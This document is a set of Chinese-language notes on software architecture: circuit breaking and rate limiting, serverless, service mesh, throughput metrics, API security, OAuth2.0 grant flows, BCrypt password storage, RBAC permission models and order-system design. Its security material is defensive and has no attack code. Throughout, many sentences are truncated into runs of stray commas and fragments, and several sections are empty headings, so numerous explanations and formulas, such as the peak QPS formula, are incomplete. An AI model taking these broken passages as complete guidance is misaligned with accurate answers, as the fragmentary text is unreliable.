最后还有一个小问题是如何将日志发送到Logstash。一种方案是在日志输出的时候直接调用Logstash接口将日志发送过去。这样一来又（ ， ） ： ，
#### 网关-权限控制，服务治理
#### 服务注册于发现-动态扩容
#### 熔断、服务降级、限流
**熔断**
当一个服务因为各种原因停止响应时，调用方通常会等待一段时间，然后超时或者收到错误返回。如果调用链路比较长，可能会导致请求堆积，整条链路占用大量资源一直在等待下游响应。所以当多次访问一个服务失败时，应熔断，标记该服务已停止工作，直接返回错误。直至该服务恢复正常后再重新建立连接。
**服务降级**
当下游服务停止工作后，如果该服务并非核心业务，则上游服务应该降级，以保证核心业务不中断。比如网上超市下单界面有一个推荐商品凑单的功能，当推荐模块挂了后，下单功能不能一起挂掉，只需要暂时关闭推荐功能即可。
**限流**
一个服务挂掉后，上游服务或者用户一般会习惯性地重试访问。这导致一旦服务恢复正常，很可能因为瞬间网络流量过大又立刻挂掉，在棺材里重复着仰卧起坐。因此服务需要能够自我保护——限流。限流策略有很多，最简单的比如当单位时间内请求数过多时，丢弃多余的请求。另外，也可以考虑分区限流。仅拒绝来自产生大量请求的服务的请求。例如商品服务和订单服务都需要访问促销服务，商品服务由于代码问题发起了大量请求，促销服务则只限制来自商品服务的请求，来自订单服务的请求则正常响应。
#### 测试
## 无服务器架构(Serverless)
Serverless的基础是云技术， ， ， ， ：
- **FaaS（ ） ： ， ， ， ， ，
- **BaaS（ ）
**优点**
- 降低创业公司启动成本
- 减少运营成本
- 降低开发成本
- 实现快速上线
- 系统安全性更高
- 能适应微服务架构和扩展性能力强
**缺点**
- 不适合长时间运行应用
- 完全会依赖于第三方服务
- 缺乏调式和开发工具，排查问题困难
- 无法用于高并发运用
**应用场景**
- 发送通知
- WebHook
- 数据统计分析
- Trigger及定时任务
- Chat 机器人
## 服务网格(Service Mesh)
### 三种服务发现模式
服务发现和负载均衡并不是新问题，业界其实已经探索和总结出一些常用的模式，这些模式的核心其实是代理 (Proxy，
在服务消费方和服务提供方之间增加一层代理，由代理负责服务发现和负载均衡功能，消费方通过代理间接访问目标服务。根据代理在架构上所处的位置不同，当前业界主要有三种不同的服务发现模式。
#### 模式一：传统集中式代理
这是最简单和传统做法，在服务消费者和生产者之间，代理作为独立一层集中部署，由独立团队 (一般是运维或框架) 负责治理和运维。常用的集中式代理有硬件负载均衡器 (如 F5)，或者软件负载均衡器 (如 Nginx)，
这种方式通常在 DNS 域名服务器的配合下实现服务发现，服务注册 (建立服务域名和 IP 地址之间的映射关系) 一般由运维人员在代理上手工配置，服务消费方仅依赖服务域名，这个域名指向代理，由代理解析目标地址并做负载均衡和调用。
国外知名电商网站 eBay， ， ， ，
#### 模式二：客户端嵌入式代理
这是很多互联网公司比较流行的一种做法，代理 (包括服务发现和负载均衡逻辑) 以客户库的形式嵌入在应用程序中。这种模式一般需要独立的服务注册中心组件配合，服务启动时自动注册到注册中心并定期报心跳，客户端代理则发现服务并做负载均衡。
Netflix 开源的 Eureka(注册中心)[附录 1] 和 Ribbon(客户端代理)[附录 2] 是这种模式的典型案例，国内阿里开源的 Dubbo 也是采用这种模式。
#### 模式三：主机独立进程代理
这种做法是上面两种模式的一个折中，代理既不是独立集中部署，也不嵌入在客户应用程序中，而是作为独立进程部署在每一个主机上，一个主机上的多个消费者应用可以共用这个代理，实现服务发现和负载均衡，如下图所示。这个模式一般也需要独立的服务注册中心组件配合，作用同模式二。
### 服务网格Service Mesh
所谓的 Service Mesh， ：
**Service Mesh特点**
- 是一个基础设施
- 轻量级网络代理，应用程序间通讯的中间层
- 应用程序无感知，对应用程序透明无侵入
- 解耦应用程序的重试/超时、监控、追踪和服务发现等控制层面的东西
**Service Mesh开源实现**
- 第一代Service Mesh
- Linkerd： ，
- Envoy： ， ，
- 第二代Service Mesh： （
- Istio：
- Conduit：
# 架构规范
## 指标
### QPS
**QPS**`Queries Per Second` 是每秒查询率 ,是**一台服务器**每秒能够相应的查询次数，是对一个特定的查询服务器**在规定时间内**所处理流量多少的衡量标准, 即每秒的响应请求数，也即是最大吞吐能力。
`峰值QPS=(日总PV× ×
### TPS
**TPS**`Transactions Per Second`也就是事务数/秒。一个事务是指一个客户机向服务器发送请求然后服务器做出反应的过程。客户机在发送请求时开始计时，收到服务器响应后结束计时，以此来计算使用的时间和完成的事务个数。
**QPS和TPS区别**
**Tps即每秒处理事务数，
- 用户请求服务器
- 服务器自己的内部处理
- 服务器返回给用户
这三个过程， ， ；
Qps基本类似于Tps， ， ， ； ， ， ，
### 并发数
并发数（ ） ： ，
### 吐吞量
吞吐量是指系统在单位时间内处理请求的数量，
**系统吞吐量要素**
一个系统的吞吐量（ ） （ ） ， ，
单个request 对cpu消耗越高， ， ， ，
**重要参数**
- QPS(TPS)：
- 并发数：
- 响应时间：一般取平均响应时间
**关系**
QPS(TPS)=并发数/平均响应时间
一个系统吞吐量通常有QPS(TPS),并发数两个因素决定，每套系统这个两个值都有一个相对极限值，在应用场景访问压力下，只要某一项达到系统最高值，系统吞吐量就上不去了，如果压力继续增大，系统的吞吐量反而会下降，原因是系统超负荷工作，上下文切换，内存等等其他消耗导致系统性能下降。
### PV
**PV**（ ） ， ，
### UV
**UV**（ ） ， （ ） ： ，
### DAU
**DAU**(Daily Active User)是日活跃用户数量。常用于反映网站、互联网应用或网络游戏的运营情况。DAU通常统计一日（ ） ， （ ） ，
### MAU
**MAU**(Month Active User)是月活跃用户数量，
### 系统吞吐量评估
我们在做系统设计的时候就需要考虑CPU运算， ，
而通常情况下， ， ， ， ：
通过观察系统的访问日志发现， ，
通常的技术方法：
- 找出系统的最高TPS和日PV， （ ）
- 通过压力测试或者经验预估， ， ， ， ，
### 指标测试
#### 基准测试
性能基线指标测试是当软件系统中增加一个新的模块的时候，需要做基准测试，以判断新模块对整个软件系统的性能影响。按照基准测试的方法，需要打开/关闭新模块至少各做一次测试。关闭模块之前的系统各个性能指标记下来作为基准（ ） ， ，
#### 负载测试
开发前期测试。考察软件系统在既定负载下的性能表现指标。指标体现为响应时间、交易容量、并发容量、资源使用率等。
- 根据系统详细设计文档，分析系统可能存在的负载点（并发用户数，业务量，数据量），可以按照特性及功能点进行负载分析
- 固定测试环境，在其它测试角度（负载方面）不变的情况下，变化一个测试角度并持续增加压力，查看系统的性能曲线和处理极限，以及是否有性能瓶颈存在（拐点）
目的在预定的指标基础上，从多个不同的测试角度去探测分析系统的性能变化情况，获得性能指标，配合性能调优
- 确定测试组网模型
- 设计负载注入用例（系统处理能力）
- 针对不同的负载点，开发负载注入工具
- 开发性能指标采集工具
#### 并发测试
在开发中后期测试。模拟并发访问，测试多用户并发访问同一个应用、模块、数据时是否产生隐藏的并发问题，如内存泄漏、线程锁、资源争用问题。目的并非为了获得性能指标，而是为了发现并发引起的问题：
- 设计用户事务并发模型
- 设计测试用例
- 设计问题分析方法
#### 配置测试
在开发中后期测试。通过对被测系统的软硬件环境的调整，了解各种不同环境对性能影响的程度，从而找到系统各项资源的最有分配原则。目的是主要用于性能调优，在经过测试获得了基准测试数据后，进行环境调整（包括硬件配置、网络、操作系统、应用服务器、数据库等），再将测试结果与基准数据进行对比，判断调整是否达到最佳状态。
- 确定资源调整标准
- 设计配置测试用例
#### 强度测试
在开发中后期测试。特殊场景分析，构造异常或极端条件（如告警风暴、资源减少增多），查看系统状态。目的是核实测试对象性能行为在异常或极端条件之下的可接受性。
#### 压力测试
在开发中后期测试。测试系统在一定饱和状态下系统能够处理的会话能力，以及是否出现错误。目的是通过测试调优保证系统即使在极端的压力情况下也不会出错甚至系统崩溃。
#### 稳定性测试
在开发中后期测试。测试系统在一定负载下运行长时间后是否会发生问题。测试系统在饱和状态的70%压力下处理会话能力，以及是否出现错误。目的是测试系统在长时间运行的情况下不会出错及性能下降问题
## 前后端分离
### 规范原则
- 接口返回数据即显示：前端仅做渲染逻辑处理
- 渲染逻辑禁止跨多个接口调用
- 前端关注交互、渲染逻辑，尽量避免业务逻辑处理的出现
- 请求响应传输数据格式： ，
- 统一响应格式规范
- 响应分页格式：使用统一响应格式
- 下拉框、复选框、单选框：由后端接口统一逻辑判定是否选中，通过 isSelect 标示是否选中
- Boolean 类型：关于 Boolean 类型， ， ，
- 日期类型： ，
## API接口设计
### 安全性问题
安全性问题是一个接口必须要保证的规范。如果接口保证不了安全性，那么接口相当于直接暴露在公网环境中任人蹂躏。
#### 调用接口的先决条件-token
获取token一般会涉及到参数`appid`， ， ， ，
- `appid` 和`appkey`可以直接通过平台线上申请，也可以线下直接颁发。`appid`是全局唯一的，每个`appid`将对应一个客户，`appkey`需要高度保密
- `timestamp` 是时间戳， ， ，
- `nonce` 是随机值。随机值主要是为了增加`sign`的多变性，也可以保护接口的幂等性，相邻的两次请求`nonce`不允许重复，如果重复则认为是重复提交，响应失败
- `sign` 是参数签名，将`appkey`， ， （ ）
`token` ，使用参数`appid`， ， ， ，
#### 使用POST作为接口请求方式
一般调用接口最常用的两种方式就是GET和POST。两者的区别也很明显， ， ，
#### 客户端IP白名单
ip白名单是指将接口的访问权限对部分ip进行开放。这样就能避免其他ip进行访问攻击， ， ， ， ，
#### 单个接口针对ip限流
限流是为了更好的维护系统稳定性。使用redis进行接口调用次数统计， ， ， ，
#### 记录接口请求日志
使用aop全局记录请求日志， ，
#### 敏感数据脱敏
在接口调用过程中，可能会涉及到订单号等敏感数据，这类数据通常需要脱敏处理，最常用的方式就是加密。加密方式使用安全性比较高的`RSA`非对称加密。非对称加密算法有两个密钥，这两个密钥完全不同但又完全匹配。只有使用匹配的一对公钥和私钥，才能完成对明文的加密和解密过程。
### 幂等性问题
幂等性是指任意多次请求的执行结果和一次请求的执行结果所产生的影响相同。说的直白一点就是查询操作无论查询多少次都不会影响数据本身， ， ， ， ， ， ， ， ， ， ， ， ， ，
### 数据规范问题
#### 版本控制
一套成熟的API文档， ， ， ， ，
#### 响应状态码规范
一个牛逼的API， ， ， ， ， ：
| 分类 | 描述 |
| :--- | :------------------------------------------- |
| 1xx | 信息，服务器收到请求，需要请求者继续执行操作 |
| 2xx | 成功 |
| 3xx | 重定向，需要进一步的操作以完成请求 |
| 4xx | 客户端错误，请求包含语法错误或无法完成请求 |
| 5xx | 服务端错误 |
状态码枚举类：
```java
public enum CodeEnum {
// 根据业务需求进行添加
SUCCESS(200,"处理成功"),
ERROR_PATH(404,"请求地址错误"),
ERROR_SERVER(505,"服务器内部发生错误");
private int code;
private String message;
CodeEnum(int code, String message) {
this.code = code;
this.message = message;
}
public int getCode() {
return code;
}
public void setCode(int code) {
this.code = code;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
}
```
#### 统一响应数据格式
为了方便给客户端响应， ， （ ） （ ） （ ） ， ， ：
```java
public class R implements Serializable {
private static final long serialVersionUID = 793034041048451317L;
private int code;
private String message;
private Object data = null;
public int getCode() {
return code;
}
public void setCode(int code) {
this.code = code;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public Object getData() {
return data;
}
/**
* 放入响应枚举
*/
public R fillCode(CodeEnum codeEnum){
this.setCode(codeEnum.getCode());
this.setMessage(codeEnum.getMessage());
return this;
}
/**
* 放入响应码及信息
*/
public R fillCode(int code, String message){
this.setCode(code);
this.setMessage(message);
return this;
}
/**
* 处理成功，放入自定义业务数据集合
*/
public R fillData(Object data) {
this.setCode(CodeEnum.SUCCESS.getCode());
this.setMessage(CodeEnum.SUCCESS.getMessage());
this.data = data;
return this;
}
}
```
# 多数据中心
## 同城多机房
### 机房共用注册中心
所有机房共用一个服务注册中心，所有的请求由它统一分发，应用指向同一个数据库主库。
> 要突破单机房的容量限制，最直观的解决办法就是再建新的机房，机房之间通过专线连成同一个内部网络。应用可以部署一部分节点到第二个机房，数据库也可以将主备库交叉部署到不同的机房。这一阶段，只是解决了机房容量不足的问题，两个机房逻辑上仍是一个整体。
缺点：
> 1. 服务层逻辑上是无差别的应用节点，**每一次 RPC 调用都有一半的概率跨机房**；
> 2. 每个特定的数据库主库只能位于一个机房，所以宏观上也一定有一半的数据库访问是跨机房的。
### 机房独占注册中心
每个机房独占一个服务注册中心，所有的请求独立分发，应用指向同一个数据库主库。
> 改进后的同城多机房架构，依靠不同服务注册中心，将应用层逻辑隔离开。只要一笔请求进入一个机房，应用层就一定会在一个机房内处理完。当然，由于数据库主库只在其中一边，所以这个架构仍然不解决一半数据访问跨机房的问题。
> 这个架构下，只要在入口处调节进入两个机房的请求比例，就可以精确控制两个机房的负载比例。基于这个能力，可以实现全站蓝绿发布。
## 两地三中心
> - 城市 1： （ ） （ ）
> - 城市 2： （ ） ， ，
两地三中心的两种形态:
- 同城热备，异地冷备（蚂蚁就是采用这种方案，通常每个 idc 平摊流量）
- 同城灾备，异地灾备（一个中心是活的，另有一个同城灾备，一个异地灾备）
### “ 双活 ” 或 “ 多活 ” 数据中心
多个或两个数据中心都处于运行当中，运行相同的应用，具备同样的数据，能够提供跨中心业务负载均衡运行能力，实现持续的应用可用性和灾难备份能力，所以称为 “双活 ” 和 “ 多活 ”。
### 传统数据中心和灾备中心
生产数据中心投入运行，灾备 数据中心处在不工作状态，只有当灾难发生时，生产数据中心瘫痪，灾备中心才启动。
异地灾备机房距离数据库主节点距离过远、访问耗时过长，异地备节点数据又不是强一致的，**所以无法直接提供在线服务**。
在扩展能力上，由于跨地区的备份中心不承载核心业务，不能解决核心业务跨地区扩展的问题；在成本上，灾备系统仅在容灾时使用，资源利用率低，成本较高；在容灾能力上，由于灾备系统冷备等待，容灾时可用性低，切换风险较大。
两地三中心看起来很美好，其实无法解决立刻切换的问题-**异地延迟无法消除**。
# OAuth2.0
`OAuth2.0` 的授权简单理解其实就是获取令牌（`token`）的过程，`OAuth` 协议定义了四种获得令牌的授权方式（`authorization grant` ）如下：
- 授权码（`authorization-code`）
- 隐藏式（`implicit`）
- 密码式（`password`）
- 客户端凭证（`client credentials`）
但值得注意的是，不管我们使用哪一种授权方式，在三方应用申请令牌之前，都必须在系统中去申请身份唯一标识：客户端 ID（ `token` 不被恶意使用。
下面我们会分析每种授权方式的原理，在进入正题前，先了解 `OAuth2.0` 授权过程中几个重要的参数：
- `response_type` ： ，
- `client_id` ：客户端身份标识
- `client_secret` ：客户端密钥
- `redirect_uri` ：重定向地址
- `scope` ：表示授权的范围，`read`只读权限，`all`读写权限
- `grant_type` ：表示授权的方式，`AUTHORIZATION_CODE`（授权码）、`password`（密码）、`client_credentials`（凭证式）、`refresh_token` 更新令牌
- `state` ：应用程序传递的一个随机数，用来防止`CSRF`
## 授权码模式
授权码模式（ ）
- 第一步：用户访问页面
- 第二步：访问的页面将请求重定向到认证服务器
- 第三步：认证服务器向用户展示授权页面，等待用户授权
- 第四步： ， ， ，
- 第五步：
- 第六步：
- 第七步： ，
**掘金授权案例**
`OAuth2.0` 四种授权中授权码方式是最为复杂，但也是安全系数最高的，比较常用的一种方式。这种方式适用于兼具前后端的`Web`项目，因为有些项目只有后端或只有前端，并不适用授权码模式。下图我们以用`WX`登录掘金为例，详细看一下授权码方式的整体流程。
用户选择`WX`登录掘金，掘金会向`WX`发起授权请求，接下来 `WX` 询问用户是否同意授权（常见的弹窗授权）。其中 `response_type` 为 `code` 要求返回授权码，`scope` 参数表示本次授权范围为只读权限，`redirect_uri` 重定向地址。
```javascript
https://wx.com/oauth/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=http://juejin.im/callback&
scope=read&
state=10001
```
用户同意授权后，`WX` 根据 `redirect_uri` 重定向并带上授权码。
```javascript
http://juejin.im/callback?code=AUTHORIZATION_CODE
```
当掘金拿到授权码（ ） ， `authorization_code` ，获取令牌要带上客户端密匙 `client_secret` ，和上一步得到的授权码 `code` 。
```javascript
https://wx.com/oauth/token?
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET&
grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=http://juejin.im/callback
```
最后 `WX` 收到请求后向 `redirect_uri` 地址发送 `JSON` 数据，其中的`access_token` 就是令牌。
```javascript
{
"access_token":"ACCESS_TOKEN",
"token_type":"bearer",
"expires_in":2592000,
"refresh_token":"REFRESH_TOKEN",
"scope":"read",
......
}
```
## 简化模式
简化模式（ ）
- 第一步：用户访问页面时，重定向到认证服务器
- 第二步：认证服务器给用户一个认证页面，等待用户授权
- 第三步： ，
- 第四步： ，
## 密码模式
密码模式（ ）
- 第一步：用户访问用页面时，输入第三方认证所需要的信息(QQ/微信账号密码)
- 第二步：应用页面那种这个信息去认证服务器授权
- 第三步： ， ，
**优点**：不需要多次请求转发，额外开销，同时可以获取更多的用户信息。
**缺点**：局限性，认证服务器和应用方必须有超高的信赖。
**应用场景**：自家公司搭建的认证服务器。
## 客户端模式
客户端模式（ ）
- 第一步：用户访问应用客户端
- 第二步： ， ，
- 第三步：
- 第四步：
这是一种最简单的模式， ， ，
## 隐藏式
上边提到有一些`Web`应用是没有后端的， 属于纯前端应用，无法用上边的授权码模式。令牌的申请与存储都需要在前端完成，跳过了授权码这一步。前端应用直接获取 `token` ， `token` ，要求直接返回令牌，跳过授权码，`WX`授权通过后重定向到指定 `redirect_uri` 。
```javascript
https://wx.com/oauth/authorize?
response_type=token&
client_id=CLIENT_ID&
redirect_uri=http://juejin.im/callback&
scope=read
```
## 密码式
密码模式比较好理解，用户在掘金直接输入自己的`WX`用户名和密码，掘金拿着信息直接去`WX`申请令牌，请求响应的 `JSON` 结果中返回 `token` 。`grant_type` 为 `password` 表示密码式授权。
```javascript
https://wx.com/token?
grant_type=password&
username=USERNAME&
password=PASSWORD&
client_id=CLIENT_ID
```
这种授权方式缺点是显而易见的，非常的危险，如果采取此方式授权，该应用一定是可以高度信任的。
## 凭证式
凭证式和密码式很相似，主要适用于那些没有前端的命令行应用，可以用最简单的方式获取令牌，在请求响应的 `JSON` 结果中返回 `token` 。`grant_type` 为 `client_credentials` 表示凭证式授权，`client_id` 和 `client_secret` 用来识别身份。
```javascript
https://wx.com/token?
grant_type=client_credentials&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
```
## 常见问题
**问题一：令牌怎么用？**
拿到令牌可以调用 `WX` API 请求数据了，那令牌该怎么用呢？每个到达`WX`的请求都必须带上 `token` ，将 `token` 放在 `http` 请求头部的一个`Authorization`字段里。如果使用`postman` 模拟请求，要在`Authorization` -> `Bearer Token` 放入 `token` ，
**问题二：令牌过期怎么办？**
`token` 是有时效性的，一旦过期就需要重新获取，但是重走一遍授权流程，不仅麻烦而且用户体验也不好，那如何让更新令牌变得优雅一点呢？一般在颁发令牌时会一次发两个令牌，一个令牌用来请求`API`，另一个负责更新令牌 `refresh_token` 。`grant_type` 为 `refresh_token` 请求为更新令牌，参数 `refresh_token` 是用于更新令牌的令牌。
```javascript
https://wx.com/oauth/token?
grant_type=refresh_token&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET&
refresh_token=REFRESH_TOKEN
```
# 用户体系
## 登录安全规则
- 失败次数超过3次，
- 失败次数超过10次，
- 启用HTTPS解决中间人攻击
- 敏感数据进行加密传输
- 操作日志
- 异常操作或登录体系
- 拒绝弱密码
- 防止用户名被遍历
## 注册登录流程
### 账号注册流程
在判断账号是否注册时， ， ， ， ， （ ， ）
### 账号登录主流程
账号可能是手机号、邮箱号或其他， ， ：
- 主流社交账号如微信、QQ、微博、Facebook等的登录， ， ， ，
- 同一公司体系下产品的账号， ， ， （ ）
### 找回密码流程
## 密码设计
一般使用 **https 协议 + 非对称加密算法（如 RSA） 来传输用户密码，为了更加安全，可以在前端构造一下随机因子。使用 **BCrypt + 盐存储用户密码** 。在感知到暴力破解危害的时候，**「开启短信验证、图形验证码、账号暂时锁定」**等防御机制来抵御暴力破解。
### 传输密码
#### https协议
**http 的三大风险**
为什么要使用 https 协议呢？**「http 它不香」**吗? 因为 http 是明文信息传输的。如果在茫茫的网络海洋，使用 http 协议，有以下三大风险：
- 窃听/嗅探风险：第三方可以截获通信数据
- 数据篡改风险：第三方获取到通信数据后，会进行恶意修改
- 身份伪造风险：第三方可以冒充他人身份参与通信
如果传输不重要的信息还好，但是传输用户密码这些敏感信息，那可不得了。所以一般都要使用**「https 协议」**传输用户密码信息。
**https 原理**
https 原理是什么呢？为什么它能解决 http 的三大风险呢？
**https = http + SSL/TLS**, SSL/TLS 是传输层加密协议，它提供内容加密、身份认证、数据完整性校验，以解决数据传输的安全性问题。
**https一定安全吗？
https 的数据传输过程，数据都是密文的，那么，使用了 https 协议传输密码信息，一定是安全的吗？其实**「不然」**
- 比如，
- 通过伪造证书，
#### 对称加密算法
既然使用了 https 协议传输用户密码，还是不一定安全，那么就给用户密码加密再传输。加密算法有对称加密和非对称加密两大类。对称加密：加密和解密使用**「相同密钥」**的加密算法。
常用的对称加密算法主要有以下几种：
如果使用对称加密算法，需要**考虑密钥如何给到对方**，如果密钥还是网络传输给对方，传输过程，被中间人拿到的话，也是有风险的哦。
#### 非对称加密算法
非对称加密算法需要两个密钥（公开密钥和私有密钥）。公钥与私钥是成对存在的，如果用公钥对数据进行加密，只有对应的私钥才能解密。
常用的非对称加密算法主要有以下几种：
如果使用非对称加密算法，也需要考虑**「密钥公钥如何给到对方」**，如果公钥还是网络传输给对方，传输过程，被中间人拿到的话，会有什么问题呢？**「他们是不是可以伪造公钥，把伪造的公钥给客户端，然后，用自己的私钥等公钥加密的数据发过来？」**
我们直接**「登录一下百度」**，抓下接口请求，验证一发大厂是怎么加密的。可以发现有获取公钥接口，如下:
再看下登录接口，发现就是 RSA 算法，
因此，我们可以用**「https + 非对称加密算法（如 RSA）
### 存储密码
假设密码已经安全到达服务端啦，那么，如何存储用户的密码呢？一定不能明文存储密码到数据库哦！可以用**「哈希摘要算法加密密码」**，再保存到数据库。
**哈希摘要算法**：只能从明文生成一个对应的哈希值，不能反过来根据哈希值得到对应的明文。
#### MD5摘要算法
MD5 是一种非常经典的哈希摘要算法，被广泛应用于数据完整性校验、数据（消息）摘要、数据加密等。但是仅仅使用 MD5 对密码进行摘要，并不安全。在 MD5 免费破解网站一输入，马上就可以看到原密码了。
试想一下，如果黑客构建一个超大的数据库，把所有 20 位数字以内的数字和字母组合的密码全部计算 MD5 哈希值出来，并且把密码和它们对应的哈希值存到里面去（这就是**「彩虹表」**）。在破解密码的时候，只需要查一下这个彩虹表就完事了。所以**「单单 MD5 对密码取哈希值存储」**，已经不安全啦。
#### MD5+盐摘要算法
在密码学中，是指通过在密码任意固定位置插入特定的字符串，让散列后的结果和使用原始密码的散列结果不相符，这种过程称之为“加盐”。用户密码+盐之后，进行哈希散列，再保存到数据库。这样可以有效应对彩虹表破解法。但是呢，使用加盐，需要注意以下几点：
- 不能在代码中写死盐，且盐需要有一定的长度（盐写死太简单的话，黑客可能注册几个账号反推出来）
- 每一个密码都有独立的盐，并且盐要长一点，比如超过 20 位。(盐太短，加上原始密码太短，容易破解)
- 最好是随机的值，并且是全球唯一的，意味着全球不可能有现成的彩虹表给你用
#### Bcrypt
即使是加了盐，密码仍有可能被暴力破解。因此，我们可以采取更**「慢一点」**的算法， ，
实际上， ， ，
```java
public class BCryptTest {
public static void main(String[] args) {
String password = "123456";
long md5Begin = System.currentTimeMillis();
DigestUtils.md5Hex(password);
long md5End = System.currentTimeMillis();
System.out.println("md5 time:"+(md5End - md5Begin));
long bcrytBegin = System.currentTimeMillis();
BCrypt.hashpw(password, BCrypt.gensalt(10));
long bcrytEnd = System.currentTimeMillis();
System.out.println("bcrypt Time:" + (bcrytEnd- bcrytBegin));
}
}
```
运行结果：
```java
md5 time:47
bcrypt Time:1597
```
粗略对比发现，
# 权限设计
下述分析的几种权限管理其实并无优劣之分。权限管理作为系统的基石，应依据系统目标用户特点、后续发展方向、维护成本等方面进行综合评估，找到最适合系统的模式即可。
- 用户管理核心是解决用户与权限的问题
- 角色可理解为一类用户，或者一堆权限的集合，链接了用户与权限的关系
- 权限可以分为功能权限和数据范围
- 复杂的继承关系，数据范围依赖用户组织架构树，功能权限依赖角色树，将用户放置于组织架构树的不同节点上，并赋予角色，即解决了功能权限和数据范围的问题
**权限设计=功能权限+数据权限**
参考文档
- https://www.cnblogs.com/jpfss/p/11677430.html
## 权限模型
### 用户-权限
用户直接与权限映射，这种设计的优势在于简洁直观，适合用户数量不多，功能较为简单的系统，它的劣势也是非常的明显当用户量增多时，维护成本较高，可扩展性差。
系统页面Demo：
### 用户-角色-权限
若系统用户和功能增多，为每一个用户匹配单独的权限，会变得非常的繁琐，因此权限分门别类，形成“权限包”。从用户的角度，将用户分类，同一类用户固定为相同的角色，赋予相同的权限，会让操作变得简单很多。
系统页面Demo：
### 组织-用户-角色-权限
对于管理性后台，往往人员是职级区分的，比如用户王五为销售组长，其组员赵六和孙七，王五需要看到赵六和孙七的销售额数据和可以进行赵六和孙七的所有操作，而赵六仅能看到自己的销售额数据，进行和自己相关的操作。这个事例中引入了两个新的概念：
- **用户的权限可以细分为功能权限和数据范围权限**
- **数据范围和功能权限都有了继承的层级概念**
所谓功能权限大家比较好理解，比如能否看到某个页面，能否点击某个按钮。而数据权限略抽象些，比如在业绩报表模块，从功能权限角度，可以决定用户能否打开这个报表页面，但是不同用户进来看到不同的数据（王五需要看到赵六和孙七的销售额数据，而赵六仅能看到自己的销售额数据，看不到孙七的），则是由数据范围来控制的。
#### 数据范围的继承
我们可以将用户进行分级管理，比如建立多层级的组织架构树，将不同用户放置于组织架构的不同根节点上，来实现多层级用户的建立和管理。
- 如果用户的层级如果比较简单（不多于三级），可以将层级关系融入到角色之中。比如用户分为三级：管理员-组长-组员，管理员能看到全部的数据范围和拥有全部的功能权限，而组长能查看组员的数据范围和拥有部分功能权限（比如无法编辑用户），而组员的数据范围仅仅为自己负责的数据和拥有部分功能权限。
我们可以在组长这个角色下， ， ， ， ，
- 而对于用户层级较多的情况，建议采用多层级的组织架构的管理模式，先建立公司的组织部门，再将人置于组织架构树的不同节点之下。以用户在组织节点的位置，以及是否为某个节点组织的负责人，来确定其数据范围。
#### 功能权限的继承
一般是将角色进行分级，有了所谓的角色树的概念：
由此，我们就得到了自由度更高但是逻辑更复杂的权限管理：
涉及到组织架构树和角色树，需要考虑到的场景更多，这些细节要根据实际的业务场景来制定方案。比如：
- 组织有成立和解散的时间，员工也存在转岗换组织部门的情况，因此要考虑引入时间轴的概念。增加很多的校验逻辑，比如需要增加员工入职、离职时间，且员工在该部门任职的时间不能早于部门成立的时间等等
- 同一员工能否兼岗，允许在多个组织下存在
- 角色上是否会有互斥情况存在（ ） ， ， ， ， ， ， ，
实体关系图 ：
系统页面Demo：
## RBAC
RBAC是一套成熟的权限模型。在传统权限模型中， ， ， ， ， ， ， ， ， ， ，
### 基本模型RBAC0
RBAC0是基础， ， ， ，
### 角色分层模型RBAC1
RBAC1建立在RBAC0基础之上， ， ， ，
### 角色限制模型RBAC2
RBAC2同样建立在RBAC0基础之上， ，
### 统一模型RBAC3
RBAC3是RBAC1和RBAC2的合集， ，
### 延展用户组
基于RBAC模型， ， ， ， ，
# 订单支付
## 系统设计
### 业务关系
订单系统与各业务系统的关系：
- **对外系统**
所有给企业外部用户使用的系统都在这一层， ， ， ，
- **管理中后台**
每个C端的业务形态都会有一个对应的系统模块， ， ， ，
- **公共服务系统**
随着企业的发展，信息化建设到达一定程度后，企业需要将通用功能服务化、平台化，以保证应用架构的合理性，提升服务效率。这类系统主要给其他应用系统提供基础服务能力支持。
### 上下游关系
由此可见，订单系统对上接收用户信息，将用户信息转化为产品订单，同时管理并跟踪订单信息和数据，承载了公司整个交易线的重要对客环节。对下则衔接产品系统、促销系统、仓储系统、会员系统、支付系统等，对整个电商平台起着承上启下的作用。
### 业务架构
- **订单服务**
该模块的主要功能是用户日常使用的服务和页面，主要有订单列表、订单详情、在线下单等，还包括为公共业务模块提供的多维度订单数据服务。
- **订单逻辑**
订单系统的核心， ，
- **底层服务**
信息化建设达到一定程度的企业，一般会将公司公共服务模块化，比如：产品，会构建对应的产品系统，代码、数据库，接口等相对独立。但是，这也带来了一个问题，比如：订单创建的场景下需要获取的信息分散在各个系统。
如果需要从各个公共服务系统调用：一是会花费大量时间，二是代码的维护成本非常高。因此，订单系统接入所需的公共服务模块接口，在订单系统即可完成对接公共系统的服务。
## 流程设计
### 订单流程
订单流程主要是订单产生到交易结束的整个流程， （ ） ， （ ） ， （ ） ：
### 正向流程
**订单创建>订单支付>订单生产>订单确认>订单完成**
### 逆向流程
上面说到逆向流程是各种修改订单、取消订单、退款、退货等操作，需要梳理清楚这些流程与正向流程的关系，才能理清订单系统完整的订单流程。
- **订单修改**：可梳理订单内信息，根据信息关联程度及业务诉求，设定订单的可修改范围是什么，比如：客户下单后，想修改收货人地址及电话。此时只需对相应数据进行更新即可。
- **订单取消**：用户提交订单后没有进行支付操作，此时用户原则上属于取消订单，因为还未付款，则比较简单，只需要将原本提交订单时扣减的库存补回，促销优惠中使用的优惠券，权益等视平台规则，进行相应补回。
- **退款**：用户支付成功后，客户发出退款的诉求后，需商户进行退款审核，双方达成一致后，系统应以退款单的形式完成退款，关联原订单数据。因商品无变化，所以不需考虑与库存系统的交互，仅需考虑促销系统及支付系统交互即可。
- **退货**：用户支付成功后，客户发出退货的诉求后，需商户进行退款审核，双方达成一致后，需对库存系统进行补回，支付系统、促销系统以退款单形式完成退款。最后，在退款/退货流程中，需结合平台业务场景，考虑优惠分摊的逻辑，在发生退款/退货时，优惠该如何退回的处理规则和流程。
## 关键设计
### 订单信息
### 订单单号
订单单号是订单信息中的主Key， ， ， ：
- **日期时间+随机数字**
- 初期业务量不多的时候20-26位足够应付
- **yyyyMMddHHmmss（ ）
- 6位随机码表示一秒钟可能生成的订单数上， ，
- **日期时间+自增**
- 不会产生随机数生成冲突
- 注意防治被查看到销售量需要将数字加密设置
### 倒计时时间
订单里面显示倒计时有：
- **下单未支付**
